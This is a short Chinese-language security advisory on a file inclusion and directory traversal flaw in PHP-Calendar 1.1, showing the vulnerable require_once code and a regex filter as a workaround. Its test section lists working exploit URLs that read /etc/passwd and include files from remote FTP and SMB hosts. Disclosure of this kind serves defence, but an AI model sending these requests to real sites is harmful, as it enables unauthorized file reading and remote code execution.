漏洞起因
输入验证错误
影响系统
PHP-Calendar 1.1
不受影响系统
危害
远程攻击者可以利用漏洞以WEB权限查看系统文件内容。
攻击所需条件
攻击者必须访问php-Calendar。
漏洞信息
php-Calendar是一款基于WEB的日历事务系统。
php-Calendar多个ijaoben存在目录遍历攻击,提交完整路径名作为update08.php或update10.php脚本configfile参数的数据,可导致以WEB权限查看系统文件内容。
问题代码如下:
36 } elseif(!empty($_GET[‘configfile’])) {
37 if(file_exists($_GET[‘configfile’])) {
38 require_once($_GET[‘configfile’]);
测试方法
http://site/php-calendar-1.1/update08.php?configfile=//servername/path/to/file.php
http://site/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@site/path/to/file.php
http://site/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://site/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php
http://site/php-calendar-1.1/update08.php?configfile=/etc/passwd
http://site/php-calendar-1.1/update10.php?configfile=/etc/passwd
厂商解决方案
用户可以更改update08.php(38行)和update10.php(35行)中代码过滤$_GET[‘configfile’]变量来暂时修正此漏洞:
if (ereg(‘^[a-zA-Z0-9_]+$’, $_GET[‘configfile’]))
require_once($_GET[‘configfile’]);
目前供应商没有详细解决方案提供:
http://php-calendar.sourceforge.net/
漏洞提供者
Juan Galiana Lara
0 条评论。